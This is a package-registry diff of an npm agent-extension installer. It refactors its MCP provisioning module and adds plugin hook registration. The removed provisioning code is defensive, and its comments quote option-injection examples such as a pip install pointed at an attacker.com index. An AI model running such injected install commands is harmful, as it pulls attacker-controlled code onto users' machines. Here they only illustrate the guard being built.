@amsterdamdatalabs/enact-extensions 0.1.1 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -3
- package/dist/index.d.ts +5 -3
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +3 -2
- package/dist/index.js.map +1 -1
- package/dist/install.d.ts +82 -1
- package/dist/install.d.ts.map +1 -1
- package/dist/install.js +187 -35
- package/dist/install.js.map +1 -1
- package/dist/internal/codex.d.ts.map +1 -1
- package/dist/internal/codex.js +7 -1
- package/dist/internal/codex.js.map +1 -1
- package/dist/internal/platform.d.ts +8 -0
- package/dist/internal/platform.d.ts.map +1 -1
- package/dist/internal/platform.js +46 -2
- package/dist/internal/platform.js.map +1 -1
- package/dist/provision.d.ts +30 -0
- package/dist/provision.d.ts.map +1 -0
- package/dist/provision.js +202 -0
- package/dist/provision.js.map +1 -0
- package/dist/validate/index.d.ts +23 -0
- package/dist/validate/index.d.ts.map +1 -1
- package/dist/validate/index.js +80 -0
- package/dist/validate/index.js.map +1 -1
- package/extensions/enact-context/.agents/plugin.json +40 -0
- package/extensions/enact-context/.mcp.json +8 -0
- package/extensions/enact-context/README.md +25 -0
- package/extensions/enact-context/assets/icon.png +0 -0
- package/extensions/enact-context/assets/logo.png +0 -0
- package/extensions/enact-context/hooks/hooks.json +105 -0
- package/extensions/enact-context/skills/enact-context/SKILL.md +149 -0
- package/extensions/enact-context/skills/enact-context/scripts/install.sh +69 -0
- package/extensions/enact-factory/.agents/plugin.json +42 -0
- package/extensions/enact-factory/.mcp.json +8 -0
- package/extensions/enact-factory/assets/icon.png +0 -0
- package/extensions/enact-factory/assets/logo.png +0 -0
- package/extensions/enact-factory/hooks/user-prompt-submit.mjs +67 -0
- package/extensions/enact-factory/skills/testing-strategy/SKILL.md +167 -0
- package/extensions/enact-factory/skills/workitem-triage/SKILL.md +22 -0
- package/extensions/enact-operator/.agents/plugin.json +57 -0
- package/extensions/enact-operator/.app.json +3 -0
- package/extensions/enact-operator/.mcp.json +10 -0
- package/extensions/enact-operator/_taxonomy.md +86 -0
- package/extensions/enact-operator/agents/README.md +5 -0
- package/extensions/enact-operator/agents/architect.toml +25 -0
- package/extensions/enact-operator/agents/code-reviewer.toml +24 -0
- package/extensions/enact-operator/agents/critic.toml +30 -0
- package/extensions/enact-operator/agents/executor.toml +24 -0
- package/extensions/enact-operator/agents/explore.toml +23 -0
- package/extensions/enact-operator/agents/planner.toml +24 -0
- package/extensions/enact-operator/agents/verifier.toml +24 -0
- package/extensions/enact-operator/assets/icon.png +0 -0
- package/extensions/enact-operator/assets/logo.png +0 -0
- package/extensions/enact-operator/commands/doctor.md +39 -0
- package/extensions/enact-operator/commands/setup.md +51 -0
- package/extensions/enact-operator/hooks/hooks.json +126 -0
- package/extensions/enact-operator/skills/_variants.md +44 -0
- package/extensions/enact-operator/skills/ai-slop-cleaner/SKILL.md +50 -0
- package/extensions/enact-operator/skills/analyze/SKILL.md +91 -0
- package/extensions/enact-operator/skills/ask/SKILL.md +47 -0
- package/extensions/enact-operator/skills/autopilot/SKILL.md +170 -0
- package/extensions/enact-operator/skills/autoresearch-goal/SKILL.md +79 -0
- package/extensions/enact-operator/skills/cancel/SKILL.md +99 -0
- package/extensions/enact-operator/skills/configure-notifications/SKILL.md +77 -0
- package/extensions/enact-operator/skills/deep-interview/SKILL.md +80 -0
- package/extensions/enact-operator/skills/doctor/SKILL.md +48 -0
- package/extensions/enact-operator/skills/hud/SKILL.md +49 -0
- package/extensions/enact-operator/skills/hyperplan/SKILL.md +47 -0
- package/extensions/enact-operator/skills/plan/SKILL.md +78 -0
- package/extensions/enact-operator/skills/ralph/SKILL.md +201 -0
- package/extensions/enact-operator/skills/ralph/gemini.md +18 -0
- package/extensions/enact-operator/skills/ralplan/SKILL.md +151 -0
- package/extensions/enact-operator/skills/remove-deadcode/SKILL.md +45 -0
- package/extensions/enact-operator/skills/research/SKILL.md +74 -0
- package/extensions/enact-operator/skills/review/SKILL.md +58 -0
- package/extensions/enact-operator/skills/security-research/SKILL.md +54 -0
- package/extensions/enact-operator/skills/setup/SKILL.md +91 -0
- package/extensions/enact-operator/skills/setup/scripts/install.sh +50 -0
- package/extensions/enact-operator/skills/skill/SKILL.md +82 -0
- package/extensions/enact-operator/skills/tdd/SKILL.md +59 -0
- package/extensions/enact-operator/skills/team/SKILL.md +199 -0
- package/extensions/enact-operator/skills/trace/SKILL.md +41 -0
- package/extensions/enact-operator/skills/ultragoal/SKILL.md +99 -0
- package/extensions/enact-operator/skills/ultraqa/SKILL.md +113 -0
- package/extensions/enact-operator/skills/ultrawork/SKILL.md +145 -0
- package/extensions/enact-operator/skills/ultrawork/planner.md +28 -0
- package/extensions/enact-operator/skills/wiki/SKILL.md +41 -0
- package/extensions/enact-operator/skills/work-with-workitem/SKILL.md +51 -0
- package/extensions/enact-wiki/.agents/plugin.json +42 -0
- package/extensions/enact-wiki/.mcp.json +15 -0
- package/extensions/enact-wiki/README.md +44 -0
- package/extensions/enact-wiki/assets/icon.png +0 -0
- package/extensions/enact-wiki/assets/logo.png +0 -0
- package/extensions/enact-wiki/skills/document-parser/SKILL.md +17 -0
- package/extensions/enact-wiki/skills/document-parser/scripts/parse.sh +60 -0
- package/extensions/enact-wiki/skills/document-parser/skill.json +9 -0
- package/extensions/enact-wiki/skills/enact-wiki/SKILL.md +30 -0
- package/extensions/enact-wiki/skills/enact-wiki/references/ingest.md +62 -0
- package/extensions/enact-wiki/skills/enact-wiki/references/manage.md +34 -0
- package/extensions/enact-wiki/skills/enact-wiki/references/query.md +59 -0
- package/extensions/enact-wiki/skills/search-lab/SKILL.md +57 -0
- package/extensions/enact-wiki/skills/search-lab/scripts/analyze.ts +23 -0
- package/package.json +1 -1
- package/scripts/enact-extensions.mjs +79 -12
- package/scripts/lib/hooks.mjs +352 -0
- package/scripts/lib/ledger.mjs +4 -3
- package/scripts/lib/provision-mcp.mjs +12 -365
- package/scripts/lib/run-install.mjs +87 -5
- package/scripts/lib/run-prune.mjs +73 -0
- package/scripts/lib/run-sync.mjs +9 -1
- package/scripts/lib/run-uninstall.mjs +26 -2
- package/scripts/lib/run-validate.mjs +10 -1
- package/scripts/lib/serve.mjs +19 -1
- package/scripts/version-bump.sh +463 -0
- package/spec/codex.json +1 -11
|
@@ -1,369 +1,16 @@
|
|
|
1
1
|
/**
|
|
2
|
-
*
|
|
2
|
+
* CLI/runtime wrapper over the typed library provisioning API.
|
|
3
3
|
*
|
|
4
|
-
*
|
|
5
|
-
*
|
|
6
|
-
*
|
|
7
|
-
* { "mcpServers": "./.mcp.json" }
|
|
8
|
-
*
|
|
9
|
-
* and .mcp.json:
|
|
10
|
-
*
|
|
11
|
-
* { "mcpServers": { "net_revenue_rgm": { "command": "uvx",
|
|
12
|
-
* "args": ["net-revenue-rgm"], "env": {} } } }
|
|
13
|
-
*
|
|
14
|
-
* Today install COPIES .mcp.json (registers the server) but never installs the
|
|
15
|
-
* underlying package — `uvx net-revenue-rgm` only fetches it lazily at first MCP
|
|
16
|
-
* launch. This module provisions those deps eagerly at install time.
|
|
17
|
-
*
|
|
18
|
-
* Command mapping (runner derived from the server's `command`):
|
|
19
|
-
* uvx <pkg> → uv tool install <pkg> (uvx is uv's ephemeral runner;
|
|
20
|
-
* `uv tool install` makes it resident)
|
|
21
|
-
* npx <pkg> → npm install -g <pkg>
|
|
22
|
-
* pipx <pkg> → pipx install <pkg>
|
|
23
|
-
* pip install … → pip install … (as given)
|
|
24
|
-
* pip3 install … → pip3 install … (as given)
|
|
25
|
-
* anything else → skipped (local path / node / python / docker — nothing to fetch)
|
|
26
|
-
*
|
|
27
|
-
* SECURITY
|
|
28
|
-
* - Only a fixed allowlist of runners may ever be invoked: uv, npm, pipx, pip, pip3.
|
|
29
|
-
* - Arguments are derived from the bundle manifest and the fixed mapping above.
|
|
30
|
-
* - Execution always uses spawnSync(runner, [args...], { shell: false }) — never a
|
|
31
|
-
* shell string — so nothing in the manifest can inject shell metacharacters.
|
|
32
|
-
* - The bundle's raw `command` is NEVER executed directly; only the mapped
|
|
33
|
-
* provisioning runner runs.
|
|
34
|
-
*
|
|
35
|
-
* BEST-EFFORT
|
|
36
|
-
* - Provisioning runs BY DEFAULT. Pass { noProvision: true } to skip it entirely.
|
|
37
|
-
* - If the provisioning runner is missing from PATH, we WARN with install
|
|
38
|
-
* guidance and record status "missing-runner" — the install is NOT failed.
|
|
39
|
-
* - Any exec failure (nonzero exit, spawn error) WARNS and records "failed" —
|
|
40
|
-
* the install is NOT failed.
|
|
41
|
-
*
|
|
42
|
-
* Per-server result shape:
|
|
43
|
-
* { server, command, package, status, detail }
|
|
44
|
-
* status ∈ "provisioned" | "skipped" | "missing-runner" | "failed"
|
|
45
|
-
*/
|
|
46
|
-
|
|
47
|
-
import { spawnSync } from "node:child_process";
|
|
48
|
-
import { existsSync, readFileSync } from "node:fs";
|
|
49
|
-
import { isAbsolute, join, resolve } from "node:path";
|
|
50
|
-
|
|
51
|
-
// ---------------------------------------------------------------------------
|
|
52
|
-
// Runner allowlist + install guidance
|
|
53
|
-
// ---------------------------------------------------------------------------
|
|
54
|
-
|
|
55
|
-
/** Fixed allowlist of provisioning runners that may be invoked. */
|
|
56
|
-
const ALLOWED_RUNNERS = new Set(["uv", "npm", "pipx", "pip", "pip3"]);
|
|
57
|
-
|
|
58
|
-
/** Install guidance per runner, surfaced when the runner is missing from PATH. */
|
|
59
|
-
const RUNNER_GUIDANCE = {
|
|
60
|
-
uv: "install: https://docs.astral.sh/uv/",
|
|
61
|
-
npm: "install Node.js + npm: https://nodejs.org/",
|
|
62
|
-
pipx: "install: https://pipx.pypa.io/stable/installation/",
|
|
63
|
-
pip: "install Python + pip: https://pip.pypa.io/",
|
|
64
|
-
pip3: "install Python + pip: https://pip.pypa.io/",
|
|
65
|
-
};
|
|
66
|
-
|
|
67
|
-
// ---------------------------------------------------------------------------
|
|
68
|
-
// Package-token validation
|
|
69
|
-
// ---------------------------------------------------------------------------
|
|
70
|
-
|
|
71
|
-
/**
|
|
72
|
-
* Return true when a package token is safe to pass to a provisioning runner.
|
|
73
|
-
*
|
|
74
|
-
* Rejects tokens that:
|
|
75
|
-
* - Start with "-" (option injection: e.g. `--with=evil`, `--index-url=…`)
|
|
76
|
-
* - Are empty or non-string
|
|
77
|
-
*
|
|
78
|
-
* Shell metacharacters are not a concern (shell:false is enforced at exec time),
|
|
79
|
-
* but leading dashes are: they become CLI flags for the runner even with
|
|
80
|
-
* shell:false (e.g. `uv tool install --with=evil` or
|
|
81
|
-
* `pip install --index-url=https://attacker.com pkg`).
|
|
82
|
-
*
|
|
83
|
-
* @param {unknown} token
|
|
84
|
-
* @returns {boolean}
|
|
85
|
-
*/
|
|
86
|
-
function isSafePackageToken(token) {
|
|
87
|
-
return typeof token === "string" && token.length > 0 && !token.startsWith("-");
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
// ---------------------------------------------------------------------------
|
|
91
|
-
// command → { runner, args } mapping
|
|
92
|
-
// ---------------------------------------------------------------------------
|
|
93
|
-
|
|
94
|
-
/**
|
|
95
|
-
* Map a bundle server's { command, args } to a persistent provisioning command.
|
|
96
|
-
* Returns null when the command is unknown / there is nothing to fetch, or when
|
|
97
|
-
* the resolved package token fails the safety check (starts with "-").
|
|
98
|
-
*
|
|
99
|
-
* @param {string} command
|
|
100
|
-
* @param {string[]} args
|
|
101
|
-
* @returns {{ runner: string, args: string[], package: string } | null}
|
|
102
|
-
*/
|
|
103
|
-
function mapProvisionCommand(command, args) {
|
|
104
|
-
const a = Array.isArray(args) ? args.filter((x) => typeof x === "string") : [];
|
|
105
|
-
|
|
106
|
-
switch (command) {
|
|
107
|
-
case "uvx": {
|
|
108
|
-
// uvx <pkg> [extra…] → uv tool install <pkg>.
|
|
109
|
-
// Only a[0] is used; skip if it starts with "-" (option injection guard).
|
|
110
|
-
const pkg = a[0];
|
|
111
|
-
if (!isSafePackageToken(pkg)) return null;
|
|
112
|
-
return { runner: "uv", args: ["tool", "install", pkg], package: pkg };
|
|
113
|
-
}
|
|
114
|
-
case "npx": {
|
|
115
|
-
// npx [-y] <pkg> → npm install -g <pkg>. Skip leading flags to find the pkg.
|
|
116
|
-
const pkg = a.find((x) => !x.startsWith("-"));
|
|
117
|
-
if (!isSafePackageToken(pkg)) return null;
|
|
118
|
-
return { runner: "npm", args: ["install", "-g", pkg], package: pkg };
|
|
119
|
-
}
|
|
120
|
-
case "pipx": {
|
|
121
|
-
// pipx <pkg> OR pipx run <pkg> → pipx install <pkg>.
|
|
122
|
-
const rest = a[0] === "run" ? a.slice(1) : a;
|
|
123
|
-
const pkg = rest.find((x) => !x.startsWith("-"));
|
|
124
|
-
if (!isSafePackageToken(pkg)) return null;
|
|
125
|
-
return { runner: "pipx", args: ["install", pkg], package: pkg };
|
|
126
|
-
}
|
|
127
|
-
case "pip":
|
|
128
|
-
case "pip3": {
|
|
129
|
-
// Only honour an explicit `install` invocation.
|
|
130
|
-
// SECURITY: pass only the package name, never the raw args array. Passing
|
|
131
|
-
// the full args array lets a malicious manifest inject pip flags such as
|
|
132
|
-
// --index-url, --trusted-host, --extra-index-url, or --target, all of
|
|
133
|
-
// which can redirect the install to an attacker-controlled source/path.
|
|
134
|
-
if (a[0] !== "install") return null;
|
|
135
|
-
const pkg = a.slice(1).find((x) => !x.startsWith("-")) ?? "";
|
|
136
|
-
if (!isSafePackageToken(pkg)) return null;
|
|
137
|
-
return { runner: command, args: ["install", pkg], package: pkg };
|
|
138
|
-
}
|
|
139
|
-
default:
|
|
140
|
-
// node / python / docker / local path → nothing to fetch.
|
|
141
|
-
return null;
|
|
142
|
-
}
|
|
143
|
-
}
|
|
144
|
-
|
|
145
|
-
// ---------------------------------------------------------------------------
|
|
146
|
-
// Default exec runner — a thin spawnSync wrapper (shell:false). Injectable.
|
|
147
|
-
// ---------------------------------------------------------------------------
|
|
148
|
-
|
|
149
|
-
/**
|
|
150
|
-
* Default exec runner. NEVER uses a shell.
|
|
151
|
-
* @param {string} runner
|
|
152
|
-
* @param {string[]} args
|
|
153
|
-
* @returns {{ status: number|null, stdout: string, stderr: string, error?: Error }}
|
|
154
|
-
*/
|
|
155
|
-
function defaultExec(runner, args) {
|
|
156
|
-
const res = spawnSync(runner, args, {
|
|
157
|
-
shell: false,
|
|
158
|
-
encoding: "utf8",
|
|
159
|
-
stdio: ["ignore", "pipe", "pipe"],
|
|
160
|
-
});
|
|
161
|
-
return {
|
|
162
|
-
status: res.status,
|
|
163
|
-
stdout: res.stdout ?? "",
|
|
164
|
-
stderr: res.stderr ?? "",
|
|
165
|
-
error: res.error,
|
|
166
|
-
};
|
|
167
|
-
}
|
|
168
|
-
|
|
169
|
-
/**
|
|
170
|
-
* Default PATH check — is the runner resolvable? Uses the platform `which`/`where`.
|
|
171
|
-
* @param {string} runner
|
|
172
|
-
* @returns {boolean}
|
|
173
|
-
*/
|
|
174
|
-
defaultExec.which = (runner) => {
|
|
175
|
-
const probe = process.platform === "win32" ? "where" : "which";
|
|
176
|
-
const res = spawnSync(probe, [runner], { shell: false, stdio: "ignore" });
|
|
177
|
-
return res.status === 0;
|
|
178
|
-
};
|
|
179
|
-
|
|
180
|
-
// ---------------------------------------------------------------------------
|
|
181
|
-
// readMcpServers — resolve the declared MCP servers for a bundle.
|
|
182
|
-
// ---------------------------------------------------------------------------
|
|
183
|
-
|
|
184
|
-
function readManifest(pluginRoot) {
|
|
185
|
-
const manifestPath = join(pluginRoot, ".agents", "plugin.json");
|
|
186
|
-
if (!existsSync(manifestPath)) return null;
|
|
187
|
-
try {
|
|
188
|
-
return JSON.parse(readFileSync(manifestPath, "utf8"));
|
|
189
|
-
} catch {
|
|
190
|
-
return null;
|
|
191
|
-
}
|
|
192
|
-
}
|
|
193
|
-
|
|
194
|
-
/**
|
|
195
|
-
* Read the `mcpServers` map declared by a bundle's canonical .agents/plugin.json.
|
|
196
|
-
*
|
|
197
|
-
* The `mcpServers` field may be:
|
|
198
|
-
* - a relative path (e.g. "./.mcp.json") → read that file's `mcpServers` object
|
|
199
|
-
* - an inline object → returned directly
|
|
200
|
-
* - absent → {}
|
|
201
|
-
*
|
|
202
|
-
* @param {string} pluginRoot
|
|
203
|
-
* @returns {Record<string, { command?: string, args?: string[], env?: object }>}
|
|
204
|
-
*/
|
|
205
|
-
export function readMcpServers(pluginRoot) {
|
|
206
|
-
const manifest = readManifest(pluginRoot);
|
|
207
|
-
if (!manifest) return {};
|
|
208
|
-
|
|
209
|
-
const field = manifest.mcpServers;
|
|
210
|
-
if (!field) return {};
|
|
211
|
-
|
|
212
|
-
// Inline object form.
|
|
213
|
-
if (typeof field === "object") {
|
|
214
|
-
return field;
|
|
215
|
-
}
|
|
216
|
-
|
|
217
|
-
// Path form — resolve relative to the bundle root.
|
|
218
|
-
if (typeof field === "string") {
|
|
219
|
-
const mcpPath = isAbsolute(field) ? field : resolve(pluginRoot, field);
|
|
220
|
-
if (!existsSync(mcpPath)) return {};
|
|
221
|
-
try {
|
|
222
|
-
const parsed = JSON.parse(readFileSync(mcpPath, "utf8"));
|
|
223
|
-
const servers = parsed && typeof parsed === "object" ? parsed.mcpServers : null;
|
|
224
|
-
return servers && typeof servers === "object" ? servers : {};
|
|
225
|
-
} catch {
|
|
226
|
-
return {};
|
|
227
|
-
}
|
|
228
|
-
}
|
|
229
|
-
|
|
230
|
-
return {};
|
|
231
|
-
}
|
|
232
|
-
|
|
233
|
-
// ---------------------------------------------------------------------------
|
|
234
|
-
// provisionMcp — best-effort provision of every declared server's package.
|
|
235
|
-
// ---------------------------------------------------------------------------
|
|
236
|
-
|
|
237
|
-
function warn(msg) {
|
|
238
|
-
process.stderr.write(`[enact-extensions install] ${msg}\n`);
|
|
239
|
-
}
|
|
240
|
-
|
|
241
|
-
/**
|
|
242
|
-
* Provision the underlying packages for every MCP server a bundle declares.
|
|
243
|
-
*
|
|
244
|
-
* @param {string} pluginRoot
|
|
245
|
-
* @param {object} [options]
|
|
246
|
-
* @param {boolean} [options.noProvision] - Skip provisioning entirely.
|
|
247
|
-
* @param {Function} [options.exec] - Injectable exec runner (defaults to a
|
|
248
|
-
* spawnSync wrapper). Must expose .which().
|
|
249
|
-
* @returns {Array<{ server, command, package, status, detail }>}
|
|
4
|
+
* The script-layer helpers remain for backwards compatibility with tests and
|
|
5
|
+
* the CLI wrapper, but the source of truth now lives in src/provision.ts and is
|
|
6
|
+
* exported from dist/index.js for in-process consumers like enact-operator.
|
|
250
7
|
*/
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
typeof exec.which === "function" ? exec.which : (r) => ALLOWED_RUNNERS.has(r);
|
|
257
|
-
|
|
258
|
-
const servers = readMcpServers(pluginRoot);
|
|
259
|
-
const results = [];
|
|
260
|
-
|
|
261
|
-
for (const [serverName, def] of Object.entries(servers)) {
|
|
262
|
-
const command = def && typeof def.command === "string" ? def.command : "";
|
|
263
|
-
const args = def && Array.isArray(def.args) ? def.args : [];
|
|
264
|
-
|
|
265
|
-
const mapped = mapProvisionCommand(command, args);
|
|
8
|
+
import {
|
|
9
|
+
provisionMcp as provisionMcpCore,
|
|
10
|
+
readMcpServers as readMcpServersCore,
|
|
11
|
+
summarizeProvision as summarizeProvisionCore,
|
|
12
|
+
} from "../../dist/index.js";
|
|
266
13
|
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
server: serverName,
|
|
271
|
-
command,
|
|
272
|
-
package: "",
|
|
273
|
-
status: "skipped",
|
|
274
|
-
detail: `no provisioning mapping for command "${command || "(none)"}"`,
|
|
275
|
-
});
|
|
276
|
-
continue;
|
|
277
|
-
}
|
|
278
|
-
|
|
279
|
-
// Defence-in-depth: never invoke a runner outside the allowlist.
|
|
280
|
-
if (!ALLOWED_RUNNERS.has(mapped.runner)) {
|
|
281
|
-
results.push({
|
|
282
|
-
server: serverName,
|
|
283
|
-
command,
|
|
284
|
-
package: mapped.package,
|
|
285
|
-
status: "skipped",
|
|
286
|
-
detail: `runner "${mapped.runner}" not on allowlist`,
|
|
287
|
-
});
|
|
288
|
-
continue;
|
|
289
|
-
}
|
|
290
|
-
|
|
291
|
-
// PATH check — if the runner is missing, WARN with guidance, do NOT fail.
|
|
292
|
-
let present;
|
|
293
|
-
try {
|
|
294
|
-
present = which(mapped.runner);
|
|
295
|
-
} catch {
|
|
296
|
-
present = false;
|
|
297
|
-
}
|
|
298
|
-
if (!present) {
|
|
299
|
-
const guidance = RUNNER_GUIDANCE[mapped.runner] ?? "";
|
|
300
|
-
const detail = `${mapped.package || serverName} needs \`${command}\` (${mapped.runner}); ${guidance}`;
|
|
301
|
-
warn(`Warning: ${detail}`);
|
|
302
|
-
results.push({
|
|
303
|
-
server: serverName,
|
|
304
|
-
command,
|
|
305
|
-
package: mapped.package,
|
|
306
|
-
status: "missing-runner",
|
|
307
|
-
detail,
|
|
308
|
-
});
|
|
309
|
-
continue;
|
|
310
|
-
}
|
|
311
|
-
|
|
312
|
-
// Provision — best effort. Any failure WARNS but never throws.
|
|
313
|
-
try {
|
|
314
|
-
const res = exec(mapped.runner, mapped.args) ?? {};
|
|
315
|
-
// Success: exit status 0 and no spawn error.
|
|
316
|
-
if (res.status === 0 && !res.error) {
|
|
317
|
-
results.push({
|
|
318
|
-
server: serverName,
|
|
319
|
-
command,
|
|
320
|
-
package: mapped.package,
|
|
321
|
-
status: "provisioned",
|
|
322
|
-
detail: `${mapped.runner} ${mapped.args.join(" ")}`,
|
|
323
|
-
});
|
|
324
|
-
continue;
|
|
325
|
-
}
|
|
326
|
-
// Nonzero exit or spawn error.
|
|
327
|
-
const stderr = res.stderr ? String(res.stderr).trim() : "";
|
|
328
|
-
const code = res.status;
|
|
329
|
-
const errMsg = res.error ? res.error.message : "";
|
|
330
|
-
const detail =
|
|
331
|
-
`${mapped.runner} ${mapped.args.join(" ")} failed` +
|
|
332
|
-
(code != null ? ` (exit ${code})` : "") +
|
|
333
|
-
(stderr ? `: ${stderr}` : errMsg ? `: ${errMsg}` : "");
|
|
334
|
-
warn(`Warning: ${detail}`);
|
|
335
|
-
results.push({
|
|
336
|
-
server: serverName,
|
|
337
|
-
command,
|
|
338
|
-
package: mapped.package,
|
|
339
|
-
status: "failed",
|
|
340
|
-
detail,
|
|
341
|
-
});
|
|
342
|
-
} catch (err) {
|
|
343
|
-
const detail = `${mapped.runner} ${mapped.args.join(" ")} failed: ${
|
|
344
|
-
err instanceof Error ? err.message : String(err)
|
|
345
|
-
}`;
|
|
346
|
-
warn(`Warning: ${detail}`);
|
|
347
|
-
results.push({
|
|
348
|
-
server: serverName,
|
|
349
|
-
command,
|
|
350
|
-
package: mapped.package,
|
|
351
|
-
status: "failed",
|
|
352
|
-
detail,
|
|
353
|
-
});
|
|
354
|
-
}
|
|
355
|
-
}
|
|
356
|
-
|
|
357
|
-
return results;
|
|
358
|
-
}
|
|
359
|
-
|
|
360
|
-
/**
|
|
361
|
-
* Render a concise one-line summary per provisioned/failed server, for logging.
|
|
362
|
-
* @param {Array<{server, package, status, detail}>} results
|
|
363
|
-
* @returns {string[]}
|
|
364
|
-
*/
|
|
365
|
-
export function summarizeProvision(results) {
|
|
366
|
-
return results
|
|
367
|
-
.filter((r) => r.status !== "skipped")
|
|
368
|
-
.map((r) => `mcp ${r.server}: ${r.status}${r.package ? ` (${r.package})` : ""}`);
|
|
369
|
-
}
|
|
14
|
+
export const readMcpServers = readMcpServersCore;
|
|
15
|
+
export const provisionMcp = provisionMcpCore;
|
|
16
|
+
export const summarizeProvision = summarizeProvisionCore;
|
|
@@ -1,5 +1,6 @@
|
|
|
1
|
-
import { join } from "node:path";
|
|
1
|
+
import { dirname, join } from "node:path";
|
|
2
2
|
import { homedir } from "node:os";
|
|
3
|
+
import { existsSync, readFileSync } from "node:fs";
|
|
3
4
|
import {
|
|
4
5
|
installPluginBundle,
|
|
5
6
|
installClaudePluginBundle,
|
|
@@ -12,9 +13,11 @@ import {
|
|
|
12
13
|
import { appendEntry } from "./ledger.mjs";
|
|
13
14
|
import { bundleHash } from "./bundle-hash.mjs";
|
|
14
15
|
import { provisionMcp, summarizeProvision } from "./provision-mcp.mjs";
|
|
16
|
+
import { registerPluginHooks, removePluginHooks } from "./hooks.mjs";
|
|
17
|
+
import { assertSupportedHookEvents } from "../../dist/index.js";
|
|
15
18
|
|
|
16
|
-
// scope: "global" (default) -> the agent's default home (~/.codex, ~/.enact, ~/.claude, ~/.cursor, ~/.agents)
|
|
17
|
-
// "local" -> a project-scoped home under the current dir (./.codex, ./.enact, ...)
|
|
19
|
+
// scope: "global" (default) -> the agent's default home (~/.codex, ~/.enact/agent, ~/.claude, ~/.cursor, ~/.agents)
|
|
20
|
+
// "local" -> a project-scoped home under the current dir (./.codex, ./.enact/agent, ...)
|
|
18
21
|
// An explicit --<platform>-home always wins over the scope default.
|
|
19
22
|
function resolveHomes(options) {
|
|
20
23
|
const scope = options.scope ?? "global";
|
|
@@ -22,7 +25,7 @@ function resolveHomes(options) {
|
|
|
22
25
|
return {
|
|
23
26
|
scope,
|
|
24
27
|
codexHome: options.codexHome ?? (scope === "local" ? local(".codex") : undefined),
|
|
25
|
-
enactHome: options.enactHome ?? (scope === "local" ? local(".enact") : defaultEnactHome()),
|
|
28
|
+
enactHome: options.enactHome ?? (scope === "local" ? local(".enact/agent") : defaultEnactHome()),
|
|
26
29
|
claudeHome: options.claudeHome ?? (scope === "local" ? local(".claude") : undefined),
|
|
27
30
|
cursorHome: options.cursorHome ?? (scope === "local" ? local(".cursor") : undefined),
|
|
28
31
|
// For shared: sharedHome is the base directory; installSharedPluginBundle appends .agents/skills/<name>
|
|
@@ -35,7 +38,7 @@ function resolveHomes(options) {
|
|
|
35
38
|
// ---------------------------------------------------------------------------
|
|
36
39
|
// ALL_PLATFORMS — deterministic order for `--platform all`
|
|
37
40
|
// ---------------------------------------------------------------------------
|
|
38
|
-
const ALL_PLATFORMS = ["codex", "claude", "cursor", "enact"
|
|
41
|
+
const ALL_PLATFORMS = ["codex", "claude", "cursor", "enact"];
|
|
39
42
|
|
|
40
43
|
// ---------------------------------------------------------------------------
|
|
41
44
|
// PLATFORM_TARGETS — data-driven dispatch table
|
|
@@ -186,6 +189,78 @@ function computeBundleHash(pluginRoot, options) {
|
|
|
186
189
|
}
|
|
187
190
|
}
|
|
188
191
|
|
|
192
|
+
function readJsonIfExists(path) {
|
|
193
|
+
if (!existsSync(path)) return null;
|
|
194
|
+
try {
|
|
195
|
+
return JSON.parse(readFileSync(path, "utf8"));
|
|
196
|
+
} catch {
|
|
197
|
+
return null;
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
function readPluginHookConfig(pluginRoot) {
|
|
202
|
+
const manifest = readJsonIfExists(join(pluginRoot, ".agents", "plugin.json"));
|
|
203
|
+
const hooksPath = typeof manifest?.hooks === "string" ? manifest.hooks : null;
|
|
204
|
+
if (!hooksPath) return null;
|
|
205
|
+
const normalized = hooksPath.replace(/^\.\//, "");
|
|
206
|
+
return readJsonIfExists(join(pluginRoot, normalized));
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
function registerInstalledPluginHooks(pluginRoot, platform, result, homes, options) {
|
|
210
|
+
// codex reads hooks from the installed plugin bundle (no config.toml
|
|
211
|
+
// registration); cursor likewise. claude/enact register into their config.
|
|
212
|
+
if (!["claude", "cursor", "enact"].includes(platform)) return;
|
|
213
|
+
const hookConfig = readPluginHookConfig(pluginRoot);
|
|
214
|
+
const name = result?.name ?? result?.results?.[0]?.name;
|
|
215
|
+
if (!name) return;
|
|
216
|
+
|
|
217
|
+
const hookOpts = {
|
|
218
|
+
cwd: options.cwd ?? pluginRoot,
|
|
219
|
+
claudeHome: platform === "claude" ? homes.claudeHome : undefined,
|
|
220
|
+
cursorHome: platform === "cursor" ? homes.cursorHome : undefined,
|
|
221
|
+
enactHome: platform === "enact" ? homes.enactHome : undefined,
|
|
222
|
+
};
|
|
223
|
+
|
|
224
|
+
// Self-healing reconcile: first remove ALL of THIS plugin's prior hook
|
|
225
|
+
// registrations (orphaned events dropped from the bundle + duplicate entries
|
|
226
|
+
// accumulated by earlier appends), then register the current bundle's set.
|
|
227
|
+
// Removal is marker/command scoped per plugin, so the user's own hooks and
|
|
228
|
+
// other plugins' hooks are never touched.
|
|
229
|
+
removePluginHooks(platform, name, hookOpts);
|
|
230
|
+
|
|
231
|
+
if (!hookConfig) return;
|
|
232
|
+
const hookResult = registerPluginHooks(platform, name, hookConfig, hookOpts);
|
|
233
|
+
if (hookResult.result !== "skipped") {
|
|
234
|
+
console.log(`hooks ${hookResult.result} for ${name} on ${platform} -> ${hookResult.location}`);
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
function removeLegacyCodexPluginHooks(name, result, homes, options) {
|
|
239
|
+
if (!name) return;
|
|
240
|
+
|
|
241
|
+
if (Array.isArray(result?.results)) {
|
|
242
|
+
for (const install of result.results) {
|
|
243
|
+
const codexHome = install.configPath ? dirname(install.configPath) : homes.codexHome;
|
|
244
|
+
const hookResult = removePluginHooks("codex", name, {
|
|
245
|
+
cwd: options.cwd ?? process.cwd(),
|
|
246
|
+
codexHome,
|
|
247
|
+
});
|
|
248
|
+
if (hookResult.result === "removed") {
|
|
249
|
+
console.log(`removed legacy codex hooks for ${name} -> ${hookResult.location}`);
|
|
250
|
+
}
|
|
251
|
+
}
|
|
252
|
+
return;
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
